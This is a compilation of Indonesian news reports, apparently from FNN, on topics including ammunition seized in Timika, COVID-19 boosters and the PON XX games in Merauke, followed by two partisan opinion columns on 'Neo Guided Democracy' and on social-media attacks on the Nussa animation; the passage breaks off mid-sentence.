Membiarkan para durjana berkuasa. Memelihara duka nestapa. Rakyat menderita sepanjang masa. Haruskah rakyat berputus asa?. Menunggu datangnya malaikat pencabut nyawa. menyongsong maut, menikmati mati berdiri ala Indonesia. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Polri Selidiki Penemuan 600 Butir Amunisi di Timika

Timika, FNN - Tim penyidik gabungan Polres Mimika bersama Satgas Nemangkawi masih terus menyelidiki penemuan lebih dari 600 butir amunisi ukuran 5,56 mili meter yang rencananya akan dipasok ke kelompok kriminal bersenjata (KKB), belum lama ini di Timika. Kapolres Mimika AKBP IGG Era Adhinata di Timika, Rabu mengatakan sejauh ini jajarannya sudah mengamankan empat orang yang terlibat dalam sindikat jual-beli amunisi itu. "Kami sudah amankan empat orang. Kami masih melakukan koordinasi untuk mencari tahu sumber amunisi itu dari mana. Sampai sekarang kami masih terus selidiki," kata AKBP Era Adhinata. Tiga dari empat warga yang diamankan itu ditangkap aparat Satgas Nemangkawi di Timika pada Kamis (30/9) lalu. Salah satu pelaku berinisial AB ditangkap di rumahnya Jalan Pendidikan Jalur 7 Timika. Dari tangan AB, aparat menyita 255 butir amunisi ukuran 5,56 mm dan satu unit sepeda motor tanpa nomor polisi. Kepada aparat, AB mengaku sebelumnya pernah menjual amunisi sebanyak 350 butir kepada seseorang yang diketahui berinisial KG melalui perantara seseorang yang berinisial BS. Menindaklanjuti keterangan AB, Tim Satgas Nemangkawi kemudian menciduk BS di Jalan Sam Ratulangi Timika dan selanjutnya menangkap KG di Jalan Hasanuddin Timika. KG mengaku amunisi yang dibelinya dari AB disimpan di kandang babi miliknya di Jalan Hasanudin. Tim Satgas Nemangkawi kemudian membawa KG ke lokasi peternakan babi miliknya di Jalan Hasanuddin dan menemukan sebanyak 349 butir amunisi ukuran 5,56 mm. Turut diamankan bersama ratusan butir amunisi tersebut yaitu satu unit mobil Daihatsu Terios bernomor polisi PA-1689-MJ. Total amunisi yang berhasil diamankan Tim Satgas Nemangkawi dari berbagai tempat di Timika saat itu sebanyak 604 butir. KG mengungkapkan bahwa ratusan butir amunisi itu rencananya akan dijual ke pimpinan KKB Nduga Egianus Kogoya. Egianus Kogoya yang masuk dalam DPO Kepolisian diketahui menjadi pihak yang paling bertanggung jawab atas sejumlah kasus kekerasan bersenjata dan pembunuhan di wilayah Nduga. Salah satu yang paling menghebohkan yaitu kasus pembunuhan puluhan pekerja PT Istaka Karya, perusahaan kontraktor yang mengerjakan jalan dan jembatan ruas Trans Papua pada 2 Desember 2018. (sws)

Ketua MPR Akan Hadiri Forum Parlemen Negara G20

Jakarta, FNN - Sekretaris Jenderal DPR RI Indra Iskandar mengatakan Ketua DPR RI Puan Maharani berencana menghadiri forum parlemen negara G20 atau "Seventh Group of 20 Parliamentary Speakers’ Summit" di Roma, Italia, 7-8 Oktober 2021. Menurut dia, pertemuan parlemen negara-negara G20 itu penting diikuti sebagai persiapan Indonesia yang akan menjadi tuan rumah Parlemen Negara G20 (P20) pada 2022. "Sebagai salah satu implikasi Presidensi Indonesia dalam G20 bagi parlemen adalah DPR RI akan menjadi tuan rumah pelaksanaan pertemuan Parlemen Negara G20 atau P20 di tahun 2022 mendatang,” kata Indra Iskandar dalam keterangannya di Jakarta, Rabu. Seventh G20 Parliamentary Speakers’ Summit akan dihadiri oleh Ketua Parlemen seluruh negara G20 bertempat di Palazzo Madama, Gedung Senat Italia di Roma. Indra mengatakan, forum tersebut merupakan pertemuan eksklusif karena hanya dihadiri Ketua-ketua Parlemen negara-negara ekonomi terbesar dunia. "Perlu dilakukan pendekatan dengan para anggota P20 agar mereka semua dapat hadir dengan tingkat representasi tertinggi pada pertemuan P20 di Indonesia tahun depan," ujarnya. Dia menjelaskan, P20 bertujuan untuk meningkatkan koordinasi antarparlemen untuk dapat mewujudkan tujuan G20 yaitu mencapai stabilitas perekonomian global dan pertumbuhan berkelanjutan melalui fungsi penganggaran, pembuatan undang-undang, dan pengawasan yang dimiliki parlemen. Menurut dia, dalam agenda tersebut, Puan akan menyampaikan pendapat pada tiga sesi dan beberapa isu yang akan disampaikan seperti upaya kerja sama, kolaborasi, dan koordinasi dalam menghadapi tantangan global. "Ketua DPR RI juga akan berbicara mengenai pentingnya penguatan sistem dan pembangunan ekosistem ketenagakerjaan yang inklusif, terutama bagi kaum perempuan dan penyandang disabilitas dalam merespons krisis sosial dan hilangnya pekerjaan akibat pandemi COVID-19," paparnya. Indra mengatakan, Ketua DPR akan membahas isu pemulihan ekonomi hijau yang inklusif dan pentingnya negara-negara mempersiapkan strategi untuk menjamin keamanan pangan. Menurut dia, peran parlemen menjadi semakin penting untuk mendorong kerja sama internasional lebih besar, karena politik luar negeri suatu negara merupakan perpanjangan dari pandangan politik di dalam negeri. "Situasi dunia dilanda berbagai masalah global yang semakin kompleks dan urgent sehingga memerlukan solidaritas global untuk penyelesaiannnya, dan tidak bisa diselesaikan oleh satu negara saja," tuturnya. Indra mengatakan, "Seventh G20 Parliamentary Speakers’ Summit" di Roma juga akan menghasilkan "outcome document" berupa pernyataan bersama dari seluruh Parlemen Negara G20. Pernyataan bersama itu menekankan pada beberapa hal yang saling terkait yakni "People, Planet, Prosperity, Parliament" yang merupakan fondasi bagi upaya pembangunan berkelanjutan. "Forum ini tepat untuk mendorong akses vaksin yang adil dan merata dari negara maju kepada negara berkembang karena semua negara maju produsen vaksin hadir," ujarnya. Indra mengatakan, Puan juga akan melakukan pertemuan bilateral dengan beberapa delegasi, seperti Ketua Parlemen India Om Birla dan Presiden Senat Italia Maria Elisabetta Alberti Casellati. Dia menjelaskan, pertemuan bilateral itu akan membahas upaya peningkatan kerja sama kedua negara dalam berbagai bidang yang menjadi perhatian bersama khususnya dalam ranah kerja sama antar-parlemen dan upaya mencapai Tujuan Pembangunan Berkelanjutan (TPB). "Perlu dilakukan pertemuan bilateral dengan anggota P20 terutama Italia (host 2020), India (host 2023), dan negara-negara utama lain untuk mendapat masukan terkait tema dan program P20 2022 di Indonesia," ujarnya. Sebelumnya, pemerintah Indonesia saat ini sedang mempersiapkan pelaksanaan KTT G20 tahun 2022 yang mengangkat tema "Recover Together, Recover Stronger". Presiden Joko Widodo (Jokowi) dijadwalkan akan menerima tongkat estafet Presidensi G20 dari PM Italia pada 30-31 Oktober 2021 di Roma. (sws)

Satuan Tugas COVID-19: Vaksin Booster Belum untuk Guru

Jakarta, FNN - Juru Bicara Satuan Tugas (Satgas) Penanganan COVID-19 Wiku Adisasmoto mengatakan vaksinasi dosis ketiga atau booster saat ini belum perlu diperuntukkan untuk guru atau tenaga pendidik. "Belum saatnya (vaksin booster untuk guru)," kata Wiku saat dihubungi ANTARA di Jakarta, Rabu. Wiku menuturkan sejauh ini booster masih ditujukan hanya untuk tenaga kesehatan, sehingga elemen masyarakat yang lain belum perlu mengakses booster. Kementerian Kesehatan (Kemkes) menetapkan teknis perluasan target vaksinasi COVID-19, dan menegaskan vaksin booster hanya digunakan untuk tenaga kesehatan saat ini. Sebelumnya, Pemerintah Bekasi berinisiatif memberikan vaksin booster pada tenaga pengajar di wilayah tersebut. Sementara, kebijakan pemerintah pusat masih memperuntukkan vaksin booster untuk tenaga kesehatan. Juru Bicara Vaksinasi COVID-19 Kemkes Siti Nadia Tarmizi mengatakan booster saat ini hanya diberikan baik kepada tenaga kesehatan maupun tenaga pendukung kesehatan yang telah mendapatkan dosis pertama dan kedua. Kemkes menegaskan peruntukan booster tidak untuk khalayak umum karena keterbatasan pasokan vaksin dan juga masih ada lebih dari 160 juta penduduk sasaran vaksinasi yang belum mendapatkan suntikan. Kemkes telah menerbitkan Surat Edaran Direktur Jenderal Pencegahan dan Pengendalian Penyakit Nomor HK.02.01/1/1919/2021 tentang Vaksinasi Dosis Ketiga Bagi Seluruh Tenaga Kesehatan, Asisten Tenaga Kesehatan dan Tenaga Penunjang yang Bekerja di Fasilitas Pelayanan Kesehatan. (sws)

Berkah PON untuk Masa Depan Ujung Timur Indonesia

Papua, FNN - Keputusan pemerintah memilih Provinsi Papua menjadi tuan rumah perhelatan Pekan Olahraga Nasional (PON) XX bukan semata untuk torehan sejarah yang bisa menjadi cerita bagi anak cucu, tapi juga memberikan banyak keberkahan bagi daerah. Merauke sebagai kabupaten terluas sekaligus paling timur di Indonesia misalnya, dipercaya menyelenggarakan enam cabang olah raga di saat perekonomian sedang terpuruk akibat pandemi COVID-19. Ketua DPRD Merauke Benyamin Latumahina menyebut kondisi itu sebagai tantangan untuk memacu Kabupaten Merauke harus bisa menyelenggarakan PON dengan sukses. "Dengan dana yang cukup besar kurang lebih Rp60 miliar dan dengan adanya pandemi COVID-19 diharapkan tetap dapat melaksanakan kegiatan dengan baik," katanya di Jayapura. PON Papua menjadi momentum Merauke untuk memperkenalkan potensi pangan yang melimpah berupa daging, ikan, telur, beras, sayuran agar dampaknya secara ekonomi juga dapat dirasakan oleh masyarakat lokal. Dinas Tanaman Pangan Kabupaten Merauke mengalokasikan 6 ton beras premium dan medium dan 7 ton daging hingga alokasi beras yang didapat dari 1,28 hektare lahan pertanian di Merauke. Potensi lahan pertanian Kabupaten Merauke sangat besar. Dari total 1,28 hektare lahan pertanian, sebanyak 148.665 hektare di antaranya telah ditanami padi pada lahan berstatus hak penggunaan lahan (APL), hortikultura, perkebunan dan tanaman pangan hutan produksi konversi (HPK). Sejak 2015, Merauke dicanangkan oleh Presiden Joko Widodo sebagai salah satu lumbung pangan nasional. Sejak 2015 itu telah disediakan luas lahan 1,2 juta ha, yang dikembangkan untuk produksi padi dan sagu. Dari lahan seluas itu, baru 148 ha lebih yang sudah diolah dan mampu menghasilkan padi untuk keperluan 75 persen kebutuhan ASN seluruh Papua. Bahkan Presiden Joko Widodo tidak hanya ingin menjadikan Kabupaten Merauke sebagai lumbung pangan Papua, tapi juga bercita-cita membuat Merauke menjadi lumbung pangan nasional dan dunia. Menurut Presiden, Merauke memiliki lahan kurang lebih 4,6 juta hektar yang berpotensi untuk dibuat persawahan, namun setelah diindetifikasi, hanya 1,2 juta hektar yang bisa dikerjakan oleh pemerintah Kabupaten Merauke dan sisanya 3,4 juta hektar akan dikerjakan pemerintah pusat. Benyamin pun berharap sumber dana yang dikucurkan kepada Sub Daerah PON kepada SKPD Rumpun Pertanian dapat dipergunakan sebaik mungkin untuk menyiapkan dan menyukseskan penyelenggaraan kegiatan PON. Dampaknya dengan adanya PON usaha UMKM dapat dimanfaatkan sebagai pendukung kegiatan. Venue Pemerintah telah membangun sejumlah venue berstandar internasional dan nasional di Merauke untuk PON, yakni Gedung Bella Fiesta, GOR Lantamal, Stadion Katapal Tanah Miring, GOR Koni I Head Sai Swiss Bel-Hotel, GOR Merauke dan Sirkuit Balap Motor Distrik Tanah Miring. Namun yang menjadi perhatian lebih pemerintah setempat adalah bagaimana memberdayakan seluruh fasilitas itu secara berkelanjutan. "Kami berharap akan ada event-event lain yang dapat dilaksanakan dengan menggunakan venue-venue yang telah dibangun sehingga akan ada imbas PAD bagi Kabupaten Merauke dan tidak menjadi beban bagi Merauke" kata Benyamin. Wakil Ketua II DPRD Merauke Dominikus Ulukyanan berucap syukur sebab PON digelar di Papua. "Fokus yang akan diperhatikan oleh DPRD Merauke adalah terkait venue-venue yang saat ini telah ada di Kabupaten Merauke, yang ke depan akan terus ada dan menjadi milik masyarakat Merauke. Apakah ini dapat membantu meningkatkan prestasi olah raga masyarakat Merauke atau tidak," ujarnya. Prestasi bukanlah hal yang utama, menurut Dominikus yang penting adalah pelaksanaan PON di Merauke dapat terselenggara dengan baik. Selain itu event ini diharapkan dapat menjadi sarana bagi orang di luar Papua untuk mengetahui tentang Papua, orang Papua dan pembangunan yang ada di Papua. Bandara Mopah Merauke Bandara Mopah Merauke kini memiliki terminal baru yang telah diresmikan oleh Presiden RI Joko Widodo saat bertandang ke Papua beberapa waktu lalu. Bandara Mopah menjadi salah satu bandara yang disiapkan untuk mendukung kegiatan PON XX Papua. Dengan adanya terminal baru ini tentunya bisa meningkatkan kualitas pelayanan terhadap penumpang. Bandara Mopah pun makin tertata, bersih dan nyaman sehingga penumpang terlayani dengan baik di bandara ini. Kepala Otoritas Bandara X Merauke Dadang Indra Negara mengatakan terdapat tiga bandara yang digunakan sebagai salah satu pintu masuk para atlet yang bertanding dalam gelaran PON XX di Papua yaitu Bandara Sentani Kabupaten Jayapura, Bandara Mozes Kilangin Kabupaten Mimika, dan Bandara Mopah Kabupaten Merauke. Dadang mengatakan seluruh bandara itu didorong untuk melengkapi kriteria yang ditentukan dalam proses penerimaan tamu dari daerah yang akan mengikuti gelaran PON di Papua. "Berikutnya ada kerja sama pula dengan instansi lain seperti Kantor Kesehatan Pelabuhan (KKP) dalam meningkatkan pengawasan dan mengontrol tindakan kesehatan yang diperlukan untuk mengendalikan COVID-19," katanya. Terminal Baru Bandara Mopah akan terus ditingkatkan untuk mengantisipasi peningkatan jumlah penumpang, antisipasi peningkatan mobilitas masyarakat, aktivitas ekonomi serta memudahkan mobilitas orang, barang dan jasa. Terminal penumpang Bandara Mopah memiliki luas 7.200 meter persegi dan dapat melayani hingga 638.850 penumpang per tahun. Berdasarkan data Kementerian Perhubungan pada 2018, penumpang di bandara tersebut sudah mencapai sekitar 440 ribu penumpang per tahun dan jumlahnya terus bertambah. Dari sisi infrastruktur udara, Bandara Mopah memiliki landasan pacu atau runway sepanjang 2.500 x 45 meter. Bandara ini mampu menampung pendaratan pesawat berbadan lebar, seperti tipe Boeing 737-900 dan Airbus A320. Sejumlah cabang olahraga PON yang diselenggarakan di Merauke ialah paramotor, wushu, gulat, anggar, sepak bola Wanita, catur, dan balap motor atau road race. Dengan standar arena kelas dunia, para atlet diharapkan nyaman dan leluasa menampilkan kemampuan terbaik dalam berkompetisi. Bukan itu saja, venue-venue warisan PON XX itu bisa membawa berkah bagi persemaian atlet-atlet hebat. (sws)

Dubes RI Serahkan Surat Kepercayaan Kepada Presiden Latvia

Jakarta, FNN - Duta Besar RI untuk Latvia Kamapradipta Isnomo menyerahkan surat kepercayaan kepada Presiden Latvia Egils Levits dalam sebuah upacara yang berlangsung khidmat di Istana Riga pada Selasa (5/10). Saat penyerahan surat kepercayaan, Dubes RI menyampaikan pesan salam Presiden Joko Widodo serta mendorong peningkatan perdagangan dan hubungan antarmasyarakat kedua negara. "Latvia adalah negara mitra penting bagi Indonesia di wilayah Baltik. Sebagai negara anggota Uni Eropa, Latvia memiliki daya tarik untuk menjadi pintu masuk produk Indonesia untuk masuk ke pasar EU dan wilayah Baltik," ujar Dubes Kama dalam keterangan tertulis KBRI Stockholm, Rabu. Latvia adalah negara mitra dagang terbesar Indonesia di wilayah Baltik, dengan nilai total transaksi sebesar 95 juta dolar AS (sekitar Rp1,4 triliun) pada 2020. Selain perdagangan, Latvia juga negara yang berpotensi untuk menjadi mitra untuk investasi di bidang manajemen pelabuhan dan logistik. Pada sektor pariwisata, jumlah kunjungan wisatawan Latvia ke Indonesia terus meningkat dari tahun ke tahun, dengan puncaknya pada 2019 yang mencapai 5.000 pengunjung. Dalam pertemuan berdua, Dubes Kama dan Presiden Levits juga membicarakan pentingnya Indonesia dan Latvia untuk berperan aktif dalam menjaga stabilitas kawasan, terutama di tengah meningkatnya kepentingan geopolitik di wilayah masing-masing negara. Dubes Kama menggarisbawahi perlunya mengedepankan arsitektur regional yang telah dibangun untuk mendukung tercapainya perdamaian dan kesejahteraan bersama. "Sebagai salah satu penggagas Gerakan Non-Blok, Indonesia terus membina hubungan politik yang sama dekat dengan seluruh negara, dan bersifat netral. Penyelesaian konflik atau perbedaan pandangan harus diselesaikan melalui kerangka regional," ujar Dubes Kama. Selain itu, Dubes RI dan Presiden Latvia menyoroti perlunya kedua negara untuk terus mendukung multilateralisme untuk mendorong agenda dan kepentingan bersama, baik di bidang politik maupun ekonomi. Presiden Levits dan Dubes Kama sepakat bahwa pendekatan multilateralisme akan semakin penting di masa mendatang, terutama untuk menghadapi tantangan perubahan iklim dan kompleksitas perdagangan global. "Latvia sangat mendukung mekanisme multilateral, dan di bidang ekonomi telah mengambil posisi untuk terus mendorong tercapainya kesepakatan kawasan perdagangan bebas EU-ASEAN,” kata Presiden Levits. Dalam rangkaian kunjungan resmi ke Riga, Dubes RI turut bertemu dengan beberapa pejabat tinggi Latvia, antara lain Menteri Luar Negeri Andris Pelss, Wakil Ketua Presidium Parlemen Inese Voika, Wakil Menteri Perekonomian, Zaiga Liepiņa, dan Pelaksana tugas Wakil Menteri Pertahanan Ginta Brumane-Gromula. Di antara rangkaian pertemuan tersebut, Dubes RI turut melakukan kunjungan ke dua museum bersejarah, yaitu Occupation Museum of Latvia dan Art Museum Riga Bourse. Latvia adalah negara Baltik terbesar dengan jumlah populasi 1,9 juta penduduk dan telah menjadi anggota EU sejak 1994. Berdasarkan Indeks Organisasi Kerja Sama dan Pembangunan Ekonomi (OECD), Latvia berada pada peringkat ke-30 perekonomian paling terbuka di dunia, dan ke-17 di antara 45 negara di kawasan Eropa. (sws)

Wapres Minta TNI dan Polri Meningkatkan Vaksinasi COVID-19 di Daerah

Jakarta, FNN - Wakil Presiden Ma’ruf Amin meminta seluruh jajaran TNI dan Polri dapat meningkatkan percepatan vaksinasi COVID-19 di daerah dan wilayah aglomerasi sehingga kekebalan komunal atau herd immunity secara nasional di Indonesia segera tercapai. Hal itu disampaikan Wapres Ma’ruf saat menyampaikan pidato kunci pada seminar Sekolah Staf dan Pimpinan Tinggi (Sespimti) Polri Dikreg ke-30 dan Sekolah Staf dan Pimpinan Menengah (Sespimmen) Polri Dikreg ke-61 melalui konferensi video dari Jakarta, Rabu. "Pemerintah mengharapkan TNI dan Polri agar terus membantu peningkatan percepatan vaksinasi di daerah yang masih rendah capaian vaksinasinya, termasuk di daerah aglomerasi," kata Wapres saat menyampaikan pidato kuncinya dari kediaman resmi wapres di Jakarta. Wapres mengatakan capaian vaksinasi COVID-19 di sejumlah daerah tercatat masih rendah. Dengan adanya dukungan dari TNI dan Polri kepada pemerintah daerah, lanjutnya, maka level pemberlakuan pembatasan kegiatan masyarakat (PPKM) dapat menurun. "Kami juga mencatat bahwa masih banyak daerah yang tertinggal dalam capaian vaksinasi. Saya juga meminta agar TNI dan Polri memperkuat sinergi dengan pemerintah daerah guna meningkatkan kecepatan vaksinasi," tuturnya. Apabila capaian vaksinasi COVID-19 di daerah semakin meningkat, tambah Wapres, maka insentif yang diperoleh ialah penurunan terhadap level PPKM dan pelonggaran bagi kegiatan masyarakat. "Langkah ini (peningkatan vaksinasi COVID-19) juga akan disertai dengan insentif berupa penurunan level PPKM di wilayah yang dapat memenuhi target vaksinasi yang telah ditetapkan," ujarnya. Dalam acara tersebut, Wapres juga mengapresiasi seluruh prajurit TNI dan anggota Polri yang telah berperan dalam program percepatan vaksinasi COVID-19 nasional. "Saya menyampaikan penghargaan yang tulus dan tinggi kepada puluhan ribu prajurit dan anggota TNI dan Polri atas dharma baktinya dalam program vaksin nasional, yang telah berperan secara signifikan meningkatkan cakupan vaksin," ucap Wapres. Wapres juga mengucapkan terima kasih kepada seluruh personel Bintara Pembina Desa (Babinsa) dan Bhayangkara Pembina Keamanan dan Ketertiban Masyarakat (Bhabinkamtibmas) yang telah mendapatkan pelatihan menjadi pelacak COVID-19 di daerah. "Saya juga mengapresiasi pengabdian dan kerja keras pada Babinsa dan Bhabinkamtibmas yang telah dilatih menjadi tracer. Strategi ini diharapkan mampu meningkatkan tracing atau pelacakan penularan COVID-19 di masyarakat," ujar Wapres. (sws)

Jaksa Agung Sebut 11,44 Persen Pegawainya Belum Lapor Harta Kekayaan

Jakarta, FNN - Jaksa Agung Sanitiar Burhanuddin mengatakan 11,44 persen pegawai Kejaksaan Agung belum menyampaikan Laporan Harta Kekayaan Penyelenggara Negara (LHKPN) secara elektronik menurut data 2020. Hal itu disampaikan Burhanuddin dalam Rapat Kerja Teknis Bidang Pengawasan 2021 seperti dikutip dalam keterangan pers dari Pusat Penerangan Hukum Kejaksaan Agung (Kejagung) di Jakarta, Selasa. "Saya minta Bidang Pengawasan dapat lebih mendorong setiap pegawai untuk melaporkan e-LHKPN secara tertib," kata dia. Jaksa Agung juga meminta Bidang Pengawasan untuk menjalin hubungan harmonis dan sinergis dengan para mitra kerja Kejagung untuk melakukan pengendalian dan pemantauan kinerja seluruh satuan kerja. Mitra kerja Kejagung di antaranya adalah Komisi Kejaksaan, Badan Pemeriksa Keuangan (BPK), Badan Pengawasan Keuangan dan Pembangunan (BPKP), Badan Kepegawaian Negara (BKN) dan Komisi Pemberantasan Korupsi (KPK). Menurut laman e-LHKPN di situs KPK pada Jumat (24/9), kepatuhan laporan harta kekayaan pejabat negara untuk tahun 2020 di lingkungan Kejagung mencapai 78,72 persen, atau masih di bawah dua institusi penegak hukum lainnya yaitu KPK (100 persen) dan Polri (79,51 persen). Dari 11.715 wajib lapor LHKPN di Kejagung, 1.126 di antaranya belum menyampaikan laporan. (sws)

Neo Demokrasi Terpimpin

By M Rizal Fadillah DEMOKRASI Terpimpin dikenal sebagai sistem demokrasi di masa pemerintahan Soekarno pasca dekrit Presiden. Periode nya adalah tahun 1959 hingga 1965 saat terjadinya pemberontakan PKI dan kejatuhan Soekarno. Tahun 1966 tamatlah Demokrasi Terpimpin. Ketika Dekrit Presiden 5 Juli 1959 maka pemaknaan Demokrasi Terpimpin adalah "Kerakyatan yang dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan/perwakilan yang berintikan musyawarah untuk mufakat secara gotong royong di atas semua kekuatan nasional yang progresif revolusioner dengan berporoskan Nasakom". Demokrasi Terpimpin saat itu secara formal adalah demokratis akan tetapi de facto otokrasi dimana peran Pemerintah sangat mendominasi. Mengendalikan Pemilu dengan hasil yang tak mampu mengubah kebijakan politik. Kekuasaan terpusat pada Presiden Soekarno. Pada Demokrasi Terpimpin fungsi Partai Politik menjadi elemen penunjang lembaga kepresidenan, DPR-GR menjadi instrumen kebijakan politik Istana, peran militer kuat namun di bawah kendali, PKI berpengaruh dan berlindung kepada Presiden, kekuatan politik agama dilumpuhkan Partai Masyumi dibubarkan, tidak ada kebebasan pers Harian Abadi (Masyumi) dan Harian Pedoman (PSI) diberangus. Pemerintahan sangat sentralistik dengan pembatasan Otonomi Daerah. Kondisi politik Indonesia saat ini di bawah kepemimpinan Presiden Jokowi nampaknya juga mengarah pada pola Demokrasi Terpimpin. Kita dapat menyebutnya sebagai Neo Demokrasi Terpimpin. Jika dahulu sentral kekuasaan ada pada figur seorang Soekarno namun kini kekuatan oligarkhi yang berada di belakang Jokowi. Jokowi adalah figur lemah yang dikuatkan oleh barisan oligarkhi dan oligarkhi itu yang hakekatnya mengatur negara. Neo Demokrasi Terpimpin memiliki ciri dan karakter yang relatif sama dengan Demokrasi Terpimpin masa Orde Lama. Jika dulu basisnya Nasakom kini Nasapan, Nasionalis Agama dan Taipan. A nya adalah elemen Agama yang gampang diatur-atur oleh rezim. Demokrasi itu formalnya namun de facto Presiden bersama oligarkhi yang berkuasa dan memimpin. Partai Politik dengan disain koalisi menjadi terkooptasi oleh Istana. Bagai kerbau yang dicokok hidungnya. Kemauan Raja yang bisa dikondisikan dengan biaya. Partai yang masih berhadapan diobrak abrik. PKS dibelah, Demokrat di goyang. Kudeta Moeldoko adalah permainan kotor dari cermin keserakahan oligarkhi. Tidak memberi ruang bagi kedaulatan, semua ingin dikuasai. DPR dengan kemewahannya telah kehilangan kekuatan dan menjadi lembaga tukang stempel. Neo Demokrasi Terpimpin adalah kejahatan kemanusiaan dimana kekuatan agama bukan saja dimusuhi tetapi dilumpuhkan. Terorisme negara dijalankan. HTI dan FPI dibubarkan, HRS, Shobri Lubi, Syahganda, Anton Permana, Jumhur Hidayat, Munarman dan lainnya ditangkap dan diadili. Harga nyawa direndahkan. Ratusan petugas KPPS meninggal, tewas pendemo di depan Bawaslu, serta pembantaian 6 anggota Laskar FPI adalah contoh pelanggaran HAM di era ini. Neo Demokrasi Terpimpin adalah demokrasi bagi-bagi. Bagi kue Menteri untuk partai terkooptasi, bagi-bagi jabatan BUMN untuk para kroni, bagi kartu dan hadiah, hingga bagi-bagi sembako di jalanan. Menjalankan kebijakan "stick and carrot" dengan baik dan tersistematik. Tentu sebagaimana Demokrasi Terpimpin di masa Orla, selundupan gagasan yang bernuansa kiri pun terjadi di masa Neo Demokrasi Terpimpin. RUU HIP dan keberadaan BPIP fenomenal dan kontroversial. BRIN yang memiliki Ketua Dewan Pengarah berkuasa besar. Terakhir adalah PPHN yang juga muncul pandangan keinginan untuk menggabungkan GBHN Orba dan PNSB Orla. Kita harus kembali ke jalan Ideologi dan Konstitusi yang dibangun oleh para "the founding fathers". Keluar dari jebakan kisaran pragmatisme, sekularisme dan mungkin juga komunisme. Jati diri dan kedaulatan negeri harus segera dipulihkan. Demokrasi harus dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan dan perwakilan. Ayo bermusyawarah untuk membangun Konsensus Nasional baru dalam rangka kembali ke jalur Ideologi dan Konstitusi yang benar. Kita telah menyimpang terlalu jauh. Terlalu jauh. *) Pemerhati Politik dan Kebangsaan

Bukti Kegagalan Misi Buzzer Pemecah Belah Bangsa: Nussa Diserang, Nussa Makin Disayang! (1)

Oleh: Agi Betha Masih ingat betapa ganasnya gerombolan buzzer kalap menyerang Nussa? Tanpa malu-malu, berbagai fitnah, tudingan keji, dan ejekan yang bertubi-tubi, diproduksi untuk menghantam bocah cilik usia 9 tahun itu. Tapi ternyata kerja keroyokan kawanan hitam itu tidak ampuh memadamkan semangat Nussa untuk terus maju. Bocah yang salah satu kakinya disambung besi itu, malah kian kuat berlari kencang. Nussa pun terbang tinggi meninggalkan remeh-temeh makian komplotan manusia tua yang menjadi buzzer demi memakani keluarga. Mereka bermaksiat dengan cara menghujat, sebaliknya Sang Maha Pemilik Kebenaran melindungi korban dengan mengangkat derajat. Kerja hitam para pendengung, justru makin membuat Nussa melambung. Nussa, Si Bocah Animasi Yang Dipersekusi Sosok Nussa lahir ke dunia digital pada November 2018. Jadi meski digambarkan berumur 9 tahun, namun sesungguhnya umur serial animasi Nussa di platform media digital YouTube masih balita. Pembawaannya yang santun dan tutur katanya yang halus, membuat para orang tua jatuh cinta kepadanya. Nussa yang soleh dan sayang kepada Ummi, Abba, dan adiknya Rarra, adalah model yang diidamkan para ayah dan ibu muda untuk menemani masa tumbuh kembang anak mereka. Tapi sayang, cara berpakaian dua kakak beradik yang seperti santri, ternyata dipermasalahkan oleh Buzzer NKRI harga mati. Sebuah karakter khas para pendengung yang selalu kampanyekan keberagaman, tapi kenyataannya mereka benci perbedaan. Sebetulnya ada apa dengan pakaian Nussa dan Rarra di mata mereka? Apakah menghabiskan Dana Bansos? Pada Senin, 21 Juni 2021, tukang dengung Eko Kunthadi mencuit: “Apakah ini foto anak Indonesia? Bukan. Pakaian lelaki sangat khas Taliban. Anak Afganistan. Tapi film Nusa Rara mau dipromosikan ke seluruh dunia. Agar dunia mengira, Indonesia adalah cabang khilafah. Atau bagian dari kekuasaan Taliban. Promosi yg merusak!” Menyaksikan tuduhan sadis yang memicu suara pro dan kontra netizen itu, kontan Ernest Prakasa meretweet cuitan Eko dan menyindir telak. Komika, aktor, penulis skenario, sekaligus sutradara film-film laris itu menulis, "Belum kebagian jatah komisaris ya Mas? Semoga segera, amin!" Sementara Angga Sasongko, sang produser dan sutradara Nussa The Movie yaitu film Nussa versi layar lebar, membalas tegas stigma atas pakaian Nussa - Rarra yang dituliskan Eko itu dengan menulis, "Ah bac*t. Bukti enggak ada, diajak nonton enggak berani datang. Tapi ya sudah, saya enggak mau menghambat penghasilan Anda dengan menggoreng-goreng isu identitas dan polarisasi. Monggo dilanjut sampai kapalan." Tak berhenti di situ, Angga pun masih melanjutkan twit-war itu dengan menuliskan kalimat yang lebih menohok, "Saya sabar kok. Enggak overestimate orang macam Eko. Lah wong film terakhir saya yang nonton di bioskop 2,3 juta orang. Bayar lho. Yang ngeRT Tweet Eko Kuntadhi paling mentok ribuan, setengahnya bot." Sebelumnya pada Sabtu 19 Juni, Eko juga telah mencuitkan kalimat untuk menggiring opini followernya. Ia mengunggah gambar poster Nussa dan Rara yang memakai gamis dan berhijab, lalu disandingkan dengan foto seorang anak berbaju gamis sedang ikut demonstrasi. "Representasi pakaian pria Nussa - Rara. Akan seperti ini gambaran anak Indonesia di mata dunia?" cuitnya. Angga Sasongko pun membalas cuitan itu. "Ah elo ayam sayur, Eko. Diajak nonton dan diskusi langsung sama gue, enggak nongol hidung lo. Mengkonfirmasi untuk tidak datang. Ayam sayur kayak lo cuma berani sembunyi di balik jempol. Enggak cukup punya nyali dan intelektualitas buat berdebat," tulisnya. Perseteruan juga terjadi antara Angga dengan pendengung lainnya, Denny Siregar. Pada narasi di akun Youtubenya, Denny menuduh Nussa sebagai film propaganda Felix Siauw dan mempromosikan HTI atau radikalisme. Tapi perang di jagad twitter baru dimulai ketika Denny menuding mahasiswa yang mengkritik Presiden Joko Widodo tidak bersikap jantan. "Untuk adek mahasiswa, usahakan kalau mau mengkritik atau menghina Presiden sekalipun, pake nama sendiri bukan bersembunyi di balik nama institusi. Jantan dong. Masih remaja kok udah bencong," tulis Denny di Twitter pribadinya @Dennysiregar7. Kontan Angga terusik oleh diksi 'jantan' dan 'bencong' yang digunakan Denny. Menurutnya bencong dan mahasiswa lebih jantan dari Denny yang menolak undangannya untuk menonton dan berdiskusi tentang konten film Nussa. "Gak usah bahas soal jantan. Lu ngebac*tin dan fitnah film gue tanpa bukti dan belum nonton, eh diundang dateng buat nonton dan diskusi, kagak berani juga. Bersembunyi di balik jempol. Bencong dan mahasiswa itu jauh lebih berani dari ayam sayur kayak kamu," ujar Angga. Denny pun menjawab Angga dengan meledek, "Itu film Nussanya si Felix Siauw kapan tayangnya? Atau gak jadi?" Sambil 